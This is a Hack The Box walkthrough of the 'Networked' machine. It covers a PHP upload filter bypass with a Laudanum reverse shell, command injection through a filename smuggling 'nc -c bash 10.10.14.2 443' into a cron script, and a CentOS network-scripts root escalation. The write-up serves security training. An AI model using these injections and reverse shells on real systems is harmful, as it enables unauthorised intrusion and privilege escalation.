Hack The Box – Networked Walkthrough
Introduction
This was an easy Linux machine that involved exploiting a vulnerable file upload functionality to gain initial access and various misconfigured scripts on the box to escalate privileges to root.
Enumeration
The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:
- -sC to run default scripts
- -sV to enumerate applications versions
Port 22 (SSH), 80 (HTTP) and 443 (HTTPS) are identified as open ports, so the next step will be to start enumerating HTTP/HTTPS.
Enumerating HTTP
The following page is displayed when accessing the site:
The source code reveals interesting comments about an upload and gallery functionalities:
The next step is to run a scan to find hidden files or directories using Gobuster, with the following flags:
- dir to specify the scan should be done against directories and files
- -u to specify the target URL
- -w to specify the word list to use
- -x to specify the extensions to enumerate
- -t to specify the number of concurrent threads
This has found upload.php, photos.php and backup entries, upon visiting the upload page this appears to have a file upload functionality:
Whereas the photos page shows uploaded pictures:
Upon visiting the backup directory, a backupt.ar archive is available:
Downloading the archive and extracting the contents of it:
It appears too contain the source code for the lib.php, photos.php and upload.php pages.
Upon inspecting the source code for upload.php, it looks like only images belonging to certain types and under 60000 bytes will be uploaded, added some comments to the code to better understand how it works:
<?php
//checking the file type with the check_file_type function from lib.php and
checking the file size
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']
['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
//creating an array of valid extensions, upon upload, removing the file name
to compare the extension used with the ones in the array
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
?>
The check_file_type function in lib.php works as follows:
<?php
//using strpos function to see if the Content-type header contains image/
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
?>
The file is also being manipulated before the upload is concluded:
<?php
//replacing file name with user's ip address, replacing dots with underscores
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
//moving the file to UPLOAD_DIR, which is /var/www/html/uploads/
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
//changing file permissions to 644
//setting proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
?>
Uploading a test picture below 60000 bytes:
The picture can be viewed in the gallery:
And it has been uploaded under the /uploads folder, using the user’s IP address, as specified in the source code:
Exploiting Upload Functionality
Copying the PHP Laudanum shell to the current working directory and amending IP address and port:
Attaching the PHP shell to the upload functionality and hitting go:
Intercepting the request with Burp Suite, adding .gif to the file extension and the GIF magic byte to the beginning the file to trick the application into thinking the file that is being uploaded is a GIF image:
The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Navigating to the image in the uploads folder:
A callback on the Netcat listener has been received, granting a shell as the apache user:
The following steps can be done to obtain an interactive shell:
- Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
- Hitting CTRL+Z to background the process and go back to the local host
- Running “stty raw -echo” on the local host
- Hitting “fg + ENTER” to go back to the reverse shell
When enumerating common files and directories, it appears a crontab file is present, executing the check_attack.php script:
Reviewing the script to understand how it works and adding comments to it:
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
//going through files in /var/www/html/uploads
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
//using check_ip function to make sure the ip address is in a valid format
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
//logs any errors
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
//if the ip contained in the file name is invalid it removes the files
exec("rm -f $logpath");
//$value is not properly sanitized, so adding ";" to the $value variable
(the file name) will interrupt the script and allow us to run bash commands
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
//send email to guly with the log
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
Also inspecting the getnamecheck and check_ip functions used in lib.php
<?php
//dividing the file name based to store file name and extension in two
variables, replace the _ back to . to store the file name as an IP.
function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}
//check if the IP address used as the file name is in the right format, if
not, return false and set the $msg variable (which is then used in the email
sent to guly) with "4tt4ck on file [IP Address]: prefix is not a valid ip
function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename<br>\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}
?>
Creating quick local PHP file to test the vulnerability:
<?php
//adding ; and a nc shell to the command, to test if commands are executed,
this will then be used as the file name
$path = '/var/www/html/uploads/;nc -c bash localhost 8000;';
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
?>
It appears to be working, by adding a semicolon to the value provided in the file name/directory, arbitrary commands can be injected:
The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:
- -l to listen for incoming connections
- -v for verbose output
- -n to skip the DNS lookup
- -p to specify the port to listen on
Creating a file called “‘;nc -c bash 10.10.14.2 443” in the uploads directory so that a reverse Netcat shell will be executed when the scheduler runs
A reverse shell returned as the “guly” user on the machine.
The following steps can be done to obtain an interactive shell:
- Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
- Hitting CTRL+Z to background the process and go back to the local host
- Running “stty raw -echo” on the local host
- Hitting “fg + ENTER” to go back to the reverse shell
Privilege Escalation
It looks like the “guly” can execute the /usr/local/sbin/changename.sh script as root:
Analyzing the script and adding comments to it:
#!/bin/bash -p
#adding three lines to /etc/sysconfig/network-scripts/ifcfg-guly
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
#defining regular expression to define allowed characters
regexp="^[a-zA-Z0-9_\ /-]+$"
#prompting the user to fill out three variables: name, proxy method,
browser only and bootproto, which are settings for a network interface. If
the input is not following the regular expression it will not accept it.
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
There is a vulnerability affecting the network-scripts service in CentOS, (more info can be found here), basically when adding spaces to any of these attributes, the following text will be interpreted as a Bash command and therefore in this case executed as root.
Executing the script as root and in the last attribute adding space and /bin/bash:
This has granted a root-level shell on the system.
Conclusion
This was an awesome machine, as it required to analyze source code used in various scripts (although the code in use was not very complex), and find vulnerabilities in it that could be exploited to gain further access, without really exploiting known vulnerabilities or CVEs.